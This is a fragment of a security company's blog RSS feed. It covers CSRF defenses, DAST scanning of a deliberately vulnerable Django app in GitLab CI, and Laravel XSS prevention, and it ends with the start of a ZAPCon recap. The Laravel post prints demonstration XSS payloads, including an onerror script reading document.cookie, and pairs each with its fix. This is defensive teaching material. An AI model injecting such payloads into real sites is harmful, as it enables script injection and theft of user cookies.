href=&quot;https://docs.spring.io/spring-security/reference/features/exploits/csrf.html#csrf&quot;&gt;Spring&lt;/a&gt;, &lt;a href=&quot;https://docs.djangoproject.com/en/3.2/ref/csrf/&quot;&gt;Django&lt;/a&gt;, &lt;a href=&quot;https://docs.microsoft.com/en-us/aspnet/web-api/overview/security/preventing-cross-site-request-forgery-csrf-attacks&quot;&gt;.NET&lt;/a&gt; and &lt;a href=&quot;https://docs.angularjs.org/api/ng/service/$http#cross-site-request-forgery-xsrf-protection&quot;&gt;AngularJS&lt;/a&gt; come with built-in implementations of token-based CSRF defenses that generate cryptographically strong random token values and validate them on each request. Add-ons are available for some other frameworks: &lt;a href=&quot;https://owasp.org/www-project-csrfguard/&quot;&gt;OWASP CSRFGuard&lt;/a&gt; for Java, for example, and the &lt;a href=&quot;https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html&quot;&gt;CSRFProtector Project&lt;/a&gt; for PHP. Implementing token-based defenses correctly can be tricky, so don’t build your own if someone has already made a reliable implementation for you.&lt;/p&gt;&lt;h3&gt;Secondary Defenses&lt;/h3&gt;&lt;p&gt;Token-based defenses work best, but a defense-in-depth approach requires considering additional measures to impede possible CSRF attacks.&lt;/p&gt;&lt;h3&gt;SameSite Cookie Attribute&lt;/h3&gt;&lt;p&gt;&lt;i&gt;SameSite&lt;/i&gt; is a cookie attribute like &lt;i&gt;Secure&lt;/i&gt;, &lt;i&gt;HTTPOnly&lt;/i&gt;, and &lt;i&gt;Expires&lt;/i&gt;. The SameSite attribute lets site designers decide when the browser should include cookies on cross-site requests. The value of SameSite may be &lt;i&gt;Strict&lt;/i&gt; or &lt;i&gt;Lax&lt;/i&gt;, and either value will block at least some CSRF requests. This is a useful defense but not sufficient by itself because not all browsers support it (&lt;a href=&quot;https://caniuse.com/same-site-cookie-attribute&quot;&gt;most do&lt;/a&gt;), and it can be bypassed.&lt;/p&gt;&lt;h3&gt;Origin Validation&lt;/h3&gt;&lt;p&gt;To confirm that a request is valid, examine the HTTP headers to confirm that the origin and target values match. To determine the origin of a request, examine the Origin or Referer headers. Compare that to where the request is going: the target origin. These values cannot be forged. Only the browser is allowed to set them.&lt;/p&gt;&lt;p&gt;This defense has the advantage of identifying cross-site requests even before authentication.  However a small percentage of your web traffic may, for legitimate reasons, omit the request origin, and determine the target origin is non-trivial if your application is behind a proxy.  &lt;/p&gt;&lt;h3&gt;Re-Authentication&lt;/h3&gt;&lt;p&gt;Sometimes—particularly for high-risk transactions—involving the user directly is a good mitigation for CSRF and other forged requests. Requiring the user to supply a password or a one-time token, or to pass a CAPTCHA, can provide effective protection.&lt;/p&gt;&lt;h3&gt;Helpful Tips&lt;/h3&gt;&lt;p&gt;These tips will help you avoid common problems when defending against CSRF.&lt;/p&gt;&lt;h3&gt;Broken Defenses&lt;/h3&gt;&lt;p&gt;Token-based defenses can be penetrated if they are not implemented correctly. To ensure that the random token value cannot be predicted, it should be created with a cryptographically strong random number generator. Also, be careful with the logic that matches the value generated with the value received in a request. An error in the validation logic allowed a &lt;a href=&quot;https://blog.witcoat.com/2020/12/03/site-wide-csrf-on-glassdoor/&quot;&gt;CSRF attack against GlassDoor&lt;/a&gt;. Under certain circumstances in GlassDoor’s implementation, a failed check would throw an exception, but the exception was merely logged and the code proceeded as though validation had succeeded.&lt;/p&gt;&lt;p&gt;Also, &lt;a href=&quot;https://www.stackhawk.com/blog/what-is-cross-site-scripting-xss/&quot;&gt;cross-site scripting vulnerabilities (XSS)&lt;/a&gt; can defeat any CSRF protection. Even a perfectly implemented token-based CSRF defense provides little protection if the attacker can retrieve tokens from the user’s browser. Solid XSS defenses are a prerequisite for CSRF defenses.&lt;/p&gt;&lt;h3&gt;False Defenses&lt;/h3&gt;&lt;p&gt;These measures are sometimes considered as mitigations but do not work:&lt;/p&gt;&lt;p&gt;&lt;b&gt;Multi-Step Transactions&lt;/b&gt;&lt;/p&gt;&lt;p&gt;Dividing the operation that changes server state across several HTTP requests does not help if the attacker can still predict each step of the transaction.&lt;/p&gt;&lt;p&gt;&lt;b&gt;Secret Cookie&lt;/b&gt;&lt;/p&gt;&lt;p&gt;Creating a secret cookie that the attacker cannot predict does not help because the browser always sends all the relevant cookies back on every request. The attacker doesn’t need to guess the secret cookie.&lt;/p&gt;&lt;p&gt;&lt;b&gt;HTTPS&lt;/b&gt;&lt;/p&gt;&lt;p&gt;Merely encrypting web traffic does nothing to stop CSRF attacks. It is a necessary step, however, for some other mitigations (such as a double-submitted cookie) and desirable in all cases to make other measures more reliable.&lt;/p&gt;&lt;p&gt;&lt;b&gt;URL Rewriting&lt;/b&gt;&lt;/p&gt;&lt;p&gt;You can take session cookies out of the equation by modifying the URL while the page is loading, but doing so exposes the session ID on the URL, and that increases the risk of an attacker capturing the session ID.&lt;/p&gt;&lt;h3&gt;CSRF vs XSS&lt;/h3&gt;&lt;p&gt;Cross-site scripting (XSS) vulnerabilities share some of the characteristics of Cross Site Request Forgery (CSRF) vulnerabilities. Both aim to run malicious code in the context of a victim’s legitimate web session. XSS, however, aims to inject malicious code directly into a vulnerable page, where CSRF typically relies on social engineering (such as phishing emails) to put malicious code in on an unrelated page in the victim’s browser. XSS depends on flaws in the targeted website that allow injecting malicious code that the server will deliver to the victim as part of its own web page.&lt;/p&gt;&lt;p&gt;The differences are substantial. Malicious XSS script has direct access to a page in the targeted site. In fact, an XSS vulnerability can expose to the attacker everything on the page, &lt;i&gt;including any anti-CSRF token value&lt;/i&gt;. Even perfect defenses provide little CSRF protection to a site that is vulnerable to XSS.&lt;/p&gt;&lt;h3&gt;Testing for CSRF&lt;/h3&gt;&lt;p&gt;Vulnerability testing is a fundamental piece of any security program. Scanning tools are capable of finding many CSRF (and XSS) vulnerabilities. Given the potential severity of such vulnerabilities, anyone with a web application should test for them systematically—preferably by incorporating &lt;a href=&quot;https://www.stackhawk.com/blog/application-security-testing-belongs-in-the-ci-pipeline/&quot;&gt;automatic scans as part of the CI/CD pipeline&lt;/a&gt;. Vulnerability testing is required to comply with best practices and standards such as NIST SP 800-53 and ISO 27001. High-risk applications should additionally include manual penetration testing in their security program.&lt;/p&gt;&lt;h3&gt;How Can StackHawk Help?&lt;/h3&gt;&lt;p&gt;At this point, we hope you’ve remedied your potential CSRF vulnerability with help from the fix guide above. Although most developers are security conscious, it’s hard to always ensure that all your bases are covered when it comes to security. This is where a tool like &lt;a href=&quot;https://www.stackhawk.com/product/&quot;&gt;StackHawk&lt;/a&gt; can help to automate vulnerability detection and assist with fixes.&lt;/p&gt;&lt;p&gt;With StackHawk, it would have been easier to detect and fix the CSRF vulnerability you just read about above. StackHawk is a &lt;a href=&quot;https://www.stackhawk.com/solutions/dast&quot;&gt;dynamic application security testing (DAST)&lt;/a&gt; tool that can scan your running application, locally or automatically in your CI/CD pipeline, and detect these types of vulnerabilities. Then StackHawk can give developers suggestions about how to fix these vulnerabilities in the most efficient manner. If you were using StackHawk, the CSRF vulnerability you found and fixed would have been detected and reported to you, along with potential fixes. Below is an actual screenshot from StackHawk where a CSRF vulnerability was found within an application, along with a link to a fix cheatsheet.&lt;/p&gt;&lt;p&gt;Along with detecting Cross Site Request Forgery (CSRF) vulnerabilities, StackHawk helps developers uncover hundreds of other types of potential vulnerabilities in their code. When  trying to create the most secure applications you possibly can, leaning on automation as part of your application security stack is a must. Trying out StackHawk is super easy and within minutes you’ll be able to identify and address potential security issues. &lt;/p&gt;&lt;p&gt;We built StackHawk to help engineering teams find and fix security bugs like CSRF, XSS and more, but whatever tool you choose, automated testing is key to ensuring a safe codebase. You can try it out today by signing up for a free account &lt;a href=&quot;https://hubs.ly/Q01LC0zh0&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;Already using a security tool? StackHawk’s DAST platform is complementary to many other security tools. Many security professionals recommend various types of tools to be included in your application security stack.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Using StackHawk in GitLab Know Before You Go (Live)]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/using-stackhawk-in-gitlab-know-before-you-go-live</guid><category><![CDATA[Integrations]]></category><category><![CDATA[Automating Security in CI/CD]]></category><dc:creator><![CDATA[Scott Gerlach]]></dc:creator><content:encoded>&lt;h3&gt;Check Out How it Works&lt;/h3&gt;&lt;p&gt;This post demonstrates how to leverage StackHawk to automate testing for AppSec bugs in your CI/CD pipeline. We’ll walk through:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;An Example App, “Vulny Django”, used for testing StackHawk&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;How I Dockerized my Django App &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Building and testing my app in GitLab&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Finding application security bugs in the pipeline with StackHawk&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;i&gt;Note: StackHawk is a dynamic application security testing (DAST) scanner that actively tests the code that developers write for security bugs&lt;/i&gt;&lt;/p&gt;&lt;h3&gt;Example App: Polling with Django + Local StackHawk Scan&lt;/h3&gt;&lt;p&gt;I took the &lt;a href=&quot;https://docs.djangoproject.com/en/3.0/intro/tutorial01/&quot;&gt;Django tutorial&lt;/a&gt; on making a polls application and modified it into a project I call &lt;a href=&quot;https://github.com/stackhawk/vuln_django_play&quot;&gt;Vulny Django&lt;/a&gt; to test StackHawk. I’m not the best coder, so as I created the app, I wanted to run the tests that we built in with the tutorial alongside the StackHawk DAST scanner. Running StackHawk locally allows me to ensure that I have not introduced any AppSec bugs as I build.&lt;/p&gt;&lt;p&gt;The StackHawk scanning capability is configured via a &lt;a href=&quot;https://docs.stackhawk.com/hawkscan/&quot;&gt;yaml file&lt;/a&gt; that describes how to scan your application. In this example app, we have a pretty simple &lt;a href=&quot;https://github.com/stackhawk/vuln_django_play/blob/develop/stackhawk.yml&quot;&gt;StackHawk config&lt;/a&gt; to scan locally, as we mostly have to instrument how to log in to the admin page and a few URLs to exclude. With this configuration, I can easily scan my Polls app and the admin interface from my local laptop using the command: &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;This command dynamically scans my running Django app to test it for security issues that can be triaged on the StackHawk platform.&lt;/p&gt;&lt;h3&gt;Containerizing The Polls App for Testing in Pipeline&lt;/h3&gt;&lt;p&gt;I have also dockerized my Django project, because why wouldn’t you!? I want to be able to scan my Django project in GitLab’s awesome DevOps platform. To do that, my application needs to be running somewhere. While I could deploy my app onto a staging site and have HawkScan, the StackHawk scanner, scan it there, I choose the ephemeral route, where everything only lives temporarily while I test it. This allows me to break builds if I find an issue before deploying my app to a place that may be being used for user testing or other things.&lt;/p&gt;&lt;p&gt;Using docker, I can create a docker network and attach my Django and StackHawk/HawkScan containers to it so they can talk to each other. Doing that looks like this on the command line.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;With these commands, we are: &lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;Building the docker virtual network named ‘scan_net’ 2.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Running the Django docker image attached to the scan network that we built (&lt;code&gt;docker build . -t vuln_django:latest&lt;/code&gt;)&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Running the Django docker image attached to the scan network that we built (&lt;code&gt;docker build . -t vuln_django:latest&lt;/code&gt;)&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Running HawkScan while attaching it to the scan_net and overriding the HOST variable in the stackhawk.yml to point at the docker network name of the Django App&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;&lt;b&gt;PSA&lt;/b&gt;: Django will not let you put underscores in a host name like this http://vuln_django because it’s not RFC compliant. If you do that, you will Google search for a while to try and figure out why your app is not working in the docker network only to find that if you change that to a dash, http://vuln-django, everything will work fine and you will be embarrassed (&lt;i&gt;actually that last part might just be me&lt;/i&gt;).&lt;/p&gt;&lt;p&gt;Once this is all set, you’ll have two Docker containers talking to each other over a virtual Docker network. This is a perfect time to start working on our GitLab config, since we can do Docker-In-Docker in GitLab.&lt;/p&gt;&lt;h3&gt;Go Go Gadget GitLab!&lt;/h3&gt;&lt;p&gt;GitLab’s DevOps Platform has awesome capabilities. I wanted to wire up my Django project with a platform that could run my tests on PRs when I commit code, or when I want to merge code. GitLab CI/CD made that process pretty easy. They employ a pretty simple yml config file to instrument what the pipeline should look like and do.&lt;/p&gt;&lt;p&gt;I chose a few tests to run, like flake8 and the migrations and tests I had written to run in the test phase using the python:3.7-buster image. So here we are installing the python library requirements, running flake8, then pre-populating the DB with info and running the test suite.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;This allows me to make sure my code is healthy before I do anything else, like, say… &lt;/p&gt;&lt;h4&gt;Testing the Build of The Docker Container&lt;/h4&gt;&lt;p&gt;Now it’s time for me to make sure my docker container will successfully build in CI/CD. Here, I need to tell GitLab Runner how to build my image, which is SUPER easy. I tell it I need the docker image and that I would also like the Docker-in-Docker server to make sure that doesn’t introduce any issues with my build:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;This section is pretty straightforward and is similar to building a docker image on your workstation or laptop. This again is just making sure the image will build so that we can get to the good stuff.&lt;/p&gt;&lt;h4&gt;Scanning My Dockerized Polls App with StackHawk&lt;/h4&gt;&lt;p&gt;Now it’s time to scan the dockerized version of my Django app. We know we can scan the application on our workstation in either Virtual Environment or dockerized versions. We know we can make one Docker container talk to another Docker container, so let’s tell the GitLab runner how to do that.&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;We’ll need the docker image to build upon&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;We’ll need the Docker-in-Docker service&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;We’ll build the Docker virtual network&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;We have to build the Django container and download the StackHawk/HawkScan container&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;We’ll have to set the two Docker images to run on the virtual network&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;We’ll use a YML override to tell the StackHawk scanner about a new environment and where to find the running application.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;This section of our .gitlab-ci.yml file looks like this:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Here we used an override yml file and configuration call to tell the scanner some new things. That override file looks like this:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;We are overriding two settings in the yml file: env and host. The host override is pretty simple, just identifying how the scanner can find the application, so for this configuration we gave it a simple, short name. The env is so I can tell in the StackHawk app which environment ran my scan. I could have other pieces of technology introduce or remove security bugs here, so I want to be able to differentiate. The StackHawk scanner will make the Environment in the Portal GitLab-CI.&lt;/p&gt;&lt;p&gt;(&lt;i&gt;Interestingly, We had a customer use this to identify git branch name.. They wanted to know which branch introduced any issues they found. I think this is a really neat way to think about how to group results, but I think I prefer my Environment more loosely grouped, like CI/CD or GitLab.. I will and  I will push that branch name to a Tags feature we will implement later.&lt;/i&gt;) &lt;/p&gt;&lt;p&gt;Now I have a configured GitLab Runner for my Django project, with the output looking like this:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;And the results in the StackHawk Platform look like this:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;h3&gt;Now it’s Easy to Know Before You Go!&lt;/h3&gt;&lt;p&gt;As you can see, it’s really easy to implement DAST AppSec Scanning into the GitLab CI/CD pipeline and have the results available in an organized fashion that can help you understand the AppSec bugs that may exist in your application before it goes live. If you’d like to integrate StackHawk into your CI/CD pipeline, sign up for StackHawk &lt;a href=&quot;https://www.stackhawk.com&quot;&gt;Early Access&lt;/a&gt; and we’ll get you started. Also, if you would like to play with &lt;a href=&quot;https://github.com/stackhawk/&quot;&gt;my Django app&lt;/a&gt;, feel free to fork it and use it to test out StackHawk in your CI pipeline.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Laravel XSS: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/laravel-xss</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;Imagine if just about any tech-savvy user who visits your website could control the JavaScript of your site. There is a vulnerability that makes that possible. An attacker can inject malicious JavaScript code into a website via an XSS attack. The malicious code can perform actions like defacing the design of a website or granting unauthorized access to sensitive user data.&lt;/p&gt;&lt;p&gt;&lt;b&gt;XSS&lt;/b&gt; stands for &lt;b&gt;cross-site scripting&lt;/b&gt;. It’s one of &lt;a href=&quot;https://owasp.org/www-project-top-ten/&quot;&gt;the OWASP Top 10&lt;/a&gt; security risks that affect web applications.&lt;/p&gt;&lt;p&gt;In this post, I’ll explain what XSS is. Then I’ll walk you through some examples of XSS in Laravel. I’ll also show you a few ways of preventing an XSS attack for each example.&lt;/p&gt;&lt;p&gt;So, let’s take a looking at the definition of XSS.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;What Is XSS?&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;In an XSS attack, attackers look for vulnerabilities on a website that will let them inject malicious scripts into the website. Once attackers get their scripts injected, they can control the behavior of the victim’s site and steal user data.&lt;/p&gt;&lt;p&gt;A simple XSS attack can occur on a vulnerable website that accepts user input via a &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods/GET&quot;&gt;GET&lt;/a&gt; parameter and displays the data on the webpage. Let’s take a look at the following URL:&lt;/p&gt;&lt;p&gt;https://example.com/profile/?u=joseph&lt;/p&gt;&lt;p&gt;The URL points to a page that reads the value for username from the &lt;b&gt;u&lt;/b&gt; parameter in the URL and displays it on the webpage. An attacker may inject malicious code into the website by setting the value for &lt;b&gt;u&lt;/b&gt; to the following:&lt;/p&gt;&lt;p&gt;&lt;code&gt;https://example.com/profile/?u=alert(&amp;quot;Hahaha!!! you got hacked!!!&amp;quot;)&lt;/code&gt;&lt;/p&gt;&lt;p&gt;The injected script will cause the webpage to throw a JavaScript alert dialog with a creepy message that reads “Hahaha!!! You got hacked!!!” as shown in the screenshot below:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;In the code we just looked at, the attacker isn’t really doing anything very harmful — just displaying a creepy message. But if attackers can execute that code, then they can run even more dangerous code. To learn the full details about XSS and see the different types of XSS attacks check out &lt;a href=&quot;https://www.stackhawk.com/blog/what-is-cross-site-scripting-xss/&quot;&gt;this post&lt;/a&gt;.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;XSS and the Laravel Framework&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Now that we know what XSS is, let’s take a look at XSS in Laravel. Laravel is a very popular framework, written in &lt;a href=&quot;https://www.php.net/&quot;&gt;PHP&lt;/a&gt;, for building web apps. While Laravel is popular for backend development, it offers a neat way to render &lt;b&gt;user interface&lt;/b&gt; (UI) using the &lt;b&gt;blade engine&lt;/b&gt;.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;What Is Blade?&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;&lt;a href=&quot;https://laravel.com/docs/8.x/blade&quot;&gt;Blade&lt;/a&gt; is a PHP templating engine built into Laravel. When building a Laravel app, your HTML code goes into the blade file. Blade files are saved with the &lt;b&gt;.blade.php&lt;/b&gt; extension.&lt;/p&gt;&lt;p&gt;In XSS, the malicious code runs on the client-side (on the user’s browser). The malicious code runs along-side normal code when users load a webpage. Although Laravel has some mechanisms in place to protect against XSS, Laravel apps are vulnerable to XSS attacks. We’ll look at examples of some vulnerabilities in the next section.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;Example 1: Embedded PHP Code&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;As a developer, you can embed standard  PHP code in a blade file. This example looks at a webpage that displays custom data to users based on their current country. The current country is specified in the URL via a GET parameter.&lt;/p&gt;&lt;p&gt;Using standard PHP inside a blade file, this code will display a user’s country:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;The webpage displays the value for the country parameter like this:&lt;/p&gt;&lt;p&gt;&lt;b&gt;Hello user, your current country is [NG]&lt;/b&gt;&lt;/p&gt;&lt;p&gt;And the URL for the page becomes&lt;/p&gt;&lt;p&gt;https://example.com/shop/?country=NG&lt;/p&gt;&lt;p&gt;Injecting the following code into the URL enables an XSS attack:&lt;/p&gt;&lt;p&gt;https://example.com/shop/?country=window.location=”https://google.com”&lt;/p&gt;&lt;p&gt;The injected code causes a redirect to google.com as soon as the page loads.&lt;/p&gt;&lt;h5&gt;&lt;b&gt;Prevention&lt;/b&gt;&lt;/h5&gt;&lt;p&gt;Since a blade template renders our webpage, we can rewrite our code by replacing the standard PHP code with a blade function. The new code is shown below:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;The above code uses the &lt;code&gt;&lt;b&gt;{{ }}&lt;/b&gt;&lt;/code&gt; echo statement to escape the value of the country parameter. This causes the value to be rendered as plain text all the time. &lt;code&gt;&lt;b&gt;Request::get()&lt;/b&gt;&lt;/code&gt; is a more Laravel way of doing &lt;code&gt;&lt;b&gt;$_GET[&amp;#39;&amp;#39;]&lt;/b&gt;&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;Some other good ways to prevent this kind of XSS attack are sanitizing and validating user inputs. You should avoid processing or displaying user data without checking the nature of the content. In our example, the expected input has a two-character country code.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;Example 2: Rendering UI Outside Blade&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;In Laravel, you can output data or even render HTML directly from a controller class. And in this example, we render a user interface outside of a blade file.&lt;/p&gt;&lt;p&gt;We’ll use the same page and URL from the previous example. However, we change the code to exclude any blade files. The malicious version of the URL is again,&lt;/p&gt;&lt;p&gt;https://example.com/shop/?country=window.location=”https://google.com”&lt;/p&gt;&lt;p&gt;This time the page UI renders using the following code from a Laravel controller class:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Just like in the last example, when a user clicks on the link, the page redirects to google.com.&lt;/p&gt;&lt;h5&gt;&lt;b&gt;Prevention&lt;/b&gt;&lt;/h5&gt;&lt;p&gt;We can prevent this type of XSS attack by passing the user input through PHP’s &lt;code&gt;&lt;b&gt;htmlspecialchars()&lt;/b&gt;&lt;/code&gt; function. Doing so escapes HTML tags and any scripts, causing the page to render the user input as plain text. Here is the code for this solution:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Sanitizing user data and removing unwanted characters or codes can also help.&lt;/p&gt;&lt;p&gt;Another solution is validating user input. For our example, this can be done by having a list of countries and verifying that the values passed by users exist in the list. The code for this solution is shown below:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h4&gt;&lt;b&gt;Example 3: Stored User-Generated Content&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;In our two examples so far, we looked at how to prevent XSS attacks for user inputs coming from a URL parameter. In this example, we’ll look at data coming from a MySQL database.&lt;/p&gt;&lt;p&gt;Our example app this time displays a product page where users can drop product reviews. The URL for this page looks like the following:&lt;/p&gt;&lt;p&gt;https://example.com/product/?id=201&lt;/p&gt;&lt;p&gt;The page will show details about a product with an ID 201. The page also includes reviews submitted by users via a form and stored in a database.&lt;/p&gt;&lt;p&gt;To perform an XSS attack, an attacker can enter the following as a review message:&lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;img src=&amp;quot;invalid_url.png&amp;quot; onerror=alert(document.cookie)&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;If you save and output review messages without any validation or without escaping the content, the above code could grant an attacker access to the cookies of unsuspecting users.&lt;/p&gt;&lt;p&gt;A database stores the malicious code in this example. The malicious code will affect all users who visit the affected page, leading to information leak for hundreds to thousands of visitors.&lt;/p&gt;&lt;h5&gt;&lt;b&gt;Prevention&lt;/b&gt;&lt;/h5&gt;&lt;p&gt;When building a website that displays user-generated content, make it a habit to validate data before display. If you use blade files to render pages, I recommend you use the &lt;code&gt;&lt;b&gt;{{ }}&lt;/b&gt;&lt;/code&gt; feature. Alternatively, you can use PHP’s &lt;code&gt;&lt;b&gt;htmlspecialchars()&lt;/b&gt;&lt;/code&gt; function.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;Using Laravel Middleware for XSS Prevention&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;You can also prevent XSS attacks on a Laravel site using middleware. To create a middleware, open terminal or command prompt and make sure the current directory is set to the root of your Laravel project. Then, enter the following command:&lt;/p&gt;&lt;p&gt;&lt;code&gt;php artisan make:middleware XSS&lt;/code&gt;&lt;/p&gt;&lt;p&gt;The command you just entered will create a new &lt;b&gt;XSS.php&lt;/b&gt; file under &lt;b&gt;app/Http/Middleware.&lt;/b&gt; Now, open &lt;b&gt;XSS.php&lt;/b&gt; and add the following coding to the handle() method:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Next, you will need to register the new middleware inside &lt;b&gt;Kernel.php&lt;/b&gt; which is located at &lt;b&gt;app/Http/Kernel.php&lt;/b&gt;. Open the Kernel file and add the following code to the &lt;b&gt;routeMiddleware&lt;/b&gt; array:&lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;#39;XSS&amp;#39; =&amp;gt; \App\Http\Middleware\XSS::class&lt;/code&gt;&lt;/p&gt;&lt;p&gt;The complete code for the array should look like this after adding the new middleware:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;One final step, let’s create a route that makes use of the middleware we created. To do that, open &lt;b&gt;web.php&lt;/b&gt; or the specific route file for your project and create a route like this:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;And with that, we have our middleware active in &lt;b&gt;example.com/product&lt;/b&gt;. We can easily use the middleware in multiple routes by adding each route to the route group.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h3&gt;&lt;b&gt;In Closing&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;I’ll close by pointing out that this post is not an exhaustive list of XSS vulnerabilities in Laravel. However, patching all three vulnerabilities mentioned in this post can help improve the security of your Laravel applications.&lt;/p&gt;&lt;p&gt;In addition, you learned what XSS is and should now understand how to test your application for possible vulnerabilities. XSS is a serious security issue in general, and it’s serious in Laravel too.&lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Pius Aboyi.&lt;/i&gt; &lt;a href=&quot;https://www.linkedin.com/in/aboyipius/?originalSubdomain=ng&quot;&gt;&lt;i&gt;Pius&lt;/i&gt;&lt;/a&gt; &lt;i&gt;is a mobile and web developer with over 4 years of experience building for the Android platform. He writes code in Java, Kotlin, and PHP. He loves writing about tech and creating how-to tutorials for developers.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[ZAPCon 2021: ZAP Automation at Scale]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/zapcon-2021-zap-automation-at-scale</guid><category><![CDATA[ZAP]]></category><dc:creator><![CDATA[Ron Perris]]></dc:creator><content:encoded>&lt;p&gt;Finally after 10 years, the &lt;a href=&quot;https://www.zaproxy.org&quot;&gt;OWASP ZAP&lt;/a&gt; community has a conference of their own. It was awesome. The &lt;a href=&quot;https://zapcon.io/#highlights&quot;&gt;presentations&lt;/a&gt; covered many of the best practices used by the ZAP community for ZAP automation features, various configuration options, and running ZAP to test the security web and mobile applications.&lt;/p&gt;&lt;p&gt;There were so many great technical presentations during the day. However, a few techniques and features were particularly exciting and new.&lt;/p&gt;&lt;p&gt;Let’s talk about ‘em! &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h3&gt;ZAP Automation Framework&lt;/h3&gt;&lt;p&gt;Ever wish you could write more YAML? This is your chance. Check out the &lt;a href=&quot;https://www.zaproxy.org/docs/desktop/addons/automation-framework/&quot;&gt;ZAP Automation Framework&lt;/a&gt; add-on from the marketplace. With this add-on you can configure many of the ZAP settings without having to use the UI or script various ZAP executions from the command line. It is pretty easy to get started with this add-on. You can generate the initial configuration YAML with the command below.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;The only hard part is finding the location of the &lt;code&gt;zap.sh&lt;/code&gt; &lt;a href=&quot;https://www.zaproxy.org/docs/desktop/cmdline/&quot;&gt;for your install&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;After you’ve generated the file you can get into the file, with your text editor of choice, and edit the &lt;code&gt;url&lt;/code&gt; and other values to improve the scan results. Once you’ve configured the scan you can run it using your shiny new YAML file with the following command.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;The new &lt;a href=&quot;https://www.zaproxy.org/docs/automate/automation-framework/&quot;&gt;ZAP Automation Framework&lt;/a&gt; add-on works great with existing add-ons, like the ones for &lt;a href=&quot;https://www.zaproxy.org/docs/desktop/addons/openapi-support/automation/&quot;&gt;OpenAPI&lt;/a&gt; and &lt;a 